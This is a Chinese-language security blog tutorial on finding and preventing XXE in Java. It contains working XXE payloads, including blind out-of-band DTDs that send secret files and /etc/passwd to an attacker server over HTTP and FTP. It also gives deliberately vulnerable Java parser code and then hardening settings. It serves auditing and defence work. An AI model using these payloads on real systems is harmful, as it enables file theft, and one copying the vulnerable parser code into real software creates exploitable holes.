JAVA审计-XXE

前言

本篇记录一下审计中的XXE漏洞

0x01 关于XXE

关于DTD

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,这也是一个注入,但是需要注意的是这里注入的是XML外部实体,普通的xml注入几乎没有危害。那什么是外部实体?

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制:

<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么xml根据dtd定义的规范就必须像下面这样传输:

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容):

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体,实体可以看作是变量,到时候我们可以在 XML 中通过 & 符号进行引用,那传输的xml可以是:

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。

DTD分类

上面最后定义的实体就是一个内部实体,而XXE中利用的外部实体注入,就是可以行外部的dtd文档中引用:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

这样其实就把实体分成了内部实体和外部实体,但是从另外一个维度讲,也可以分为通用实体和参数实体:

通用实体:用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

参数实体

  • 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
  • 只有在 DTD 文件中,参数实体的声明才能引用其他实体
  • 和通用实体一样,参数实体也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

注意参数实体在盲XXE中起到很大作用,下面会有演示

0x02 实例展示

敏感文件读取

<?xml version="1.0"?>
<!DOCTYPE cat [
  <!ENTITY root SYSTEM "file:///">
]>
<comment>  <text>&root;</text></comment>

image-20220208213415550

image-20220208213354228

image-20220208215806839

盲XXE利用

盲XXE中xml数据注入进去没有回显,但是既然可以加载外部dtd,那么就可以自己定义一个去访问我们的服务器查看请求:

首先一个test.dtd:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.1.0//XXE/secret.txt">//读取的敏感文件路径
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://192.168.1.101:8080/landing?text=%file;'>">//访问攻击者服务器的请求

然后在dtd路径下起一个web服务

python3 -m http.server 8080

然后在请求中定义恶意dtd实体并最后调用

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.1.101:8080/test.dtd">
%dtd;
%print;
%send;
]>

image-20220208222315705

然后请求中就会把敏感文件带出来

image-20220208222356202

注意:这里可能就会有疑问,直接定义实体不就行吗 为啥要引用外部的dtd呢

因为根据XML_DOC,参数实体不能在DTD子集内调用,但是可以在外部子集中调用(Payload 2中的利用形式)。 这种形式使用后将提示禁止的错误。

盲XXE在java中的问题

这个问题也是师傅在审计出xxe后利用的过程中遇到的,当时一起研究探讨了一番,再次记录下。

首先我们说的利用xxe命令执行,直接获取shell,都是在php中的xxe,PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,我们可以直接执行系统命令;这种情况少有发生,而且换到了java中,并没有直接能shell的操作?

而这个记录的点,是利用JAVA中XXE进行任意文件读取,直接说下结论

Java在Blind XXE的利用上,读取文件会有些问题,在PHP中,我们可以使用 php://filter/read=convert.base64-encode/resource=/etc/hosts 方法将文本内容进行base64编码。但是Java中没这样的编码方法,所以如果要读取换行的文件,一般使用FTP协议,HTTP协议会由于存在换行等字符,请求发送失败。

这里遇到的问题也就是这样,利用java的XXE读取一行的文件可以成功,读取多行的win.ini就没有回显,所以需要用到ftp协议回传信息。

根据zw师傅严谨的分析:java在下图中断点checkURL方法会抛异常,方法内部会去判断当前url是否包含换行符ascii(10),所以可以读没有换行符的文件,而不能读多行。

image-20220218190440978

所以这里我们可以利用这个工具,利用py模拟起一个ftp,再进行接收:https://github.com/lc/230-OOB

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'ftp://192.168.1.101:2121/%file;'>">
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.1.101:8080/test.dtd">
%dtd;
%print;
%send;
]>

0x03 java中XXE

XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
…………

DocumentBuilder

这是JDK自带的类,以此产生的XXE是存在回显的

对应漏洞代码:

public String DocumentBuilderVuln01(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            StringReader sr = new StringReader(body);
            InputSource is = new InputSource(sr);
            Document document = db.parse(is);  // parse xml

            // 遍历xml节点name和value
            StringBuilder buf = new StringBuilder();
            NodeList rootNodeList = document.getChildNodes();
            for (int i = 0; i < rootNodeList.getLength(); i++) {
                Node rootNode = rootNodeList.item(i);
                NodeList child = rootNode.getChildNodes();
                for (int j = 0; j < child.getLength(); j++) {
                    Node node = child.item(j);
                    buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
                }
            }
            sr.close();
            return buf.toString();
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
}

SAXReader

SAXReader是第三方的库,该类是无回显的`

public String SAXReaderVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXReader reader = new SAXReader();
            // org.dom4j.Document document
            reader.read(new InputSource(new StringReader(body))); // cause xxe

        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
}

SAXBuilder

public String SAXBuilderVuln(HttpServletRequest request) {
      try {
          String body = WebUtils.getRequestBody(request);
          logger.info(body);

          SAXBuilder builder = new SAXBuilder();
          // org.jdom2.Document document
          builder.build(new InputSource(new StringReader(body)));  // cause xxe
          return "SAXBuilder xxe vuln code";
      } catch (Exception e) {
          logger.error(e.toString());
          return EXCEPT;
			}
}

SAXParserFactory

该类也是JDK内置的类,但他不可回显内容,可借助dnslog平台

public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
}

XMLReaderFactory

 public String xmlReaderVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
            return "xmlReader xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
}

Digester

 public String DigesterVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            Digester digester = new Digester();
            digester.parse(new StringReader(body));  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "Digester xxe vuln code";

XMLReader

public String XMLReaderVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser saxParser = spf.newSAXParser();
            XMLReader xmlReader = saxParser.getXMLReader();
            xmlReader.parse(new InputSource(new StringReader(body)));

        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }

        return "XMLReader xxe vuln code";
    }

0x04 java中防御XXE

使用XML解析器时需要设置其属性,禁用DTDs或者禁止使用外部实体。

以上例中DOM - DocumentBuilderFactory为例,防御代码如下:

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
//如果不能禁用DTDs,可以使用下两项,必须两项同时存在
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);      //防止外部普通实体POC 攻击
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);   //防止外部参数实体POC攻击

参考

https://www.cnblogs.com/CoLo/p/15236414.html

https://xz.aliyun.com/t/3357#toc-21

https://github.com/JoyChou93/java-sec-code

posted @ 2022-02-08 22:40  N0r4h  阅读(723)  评论(0)    收藏  举报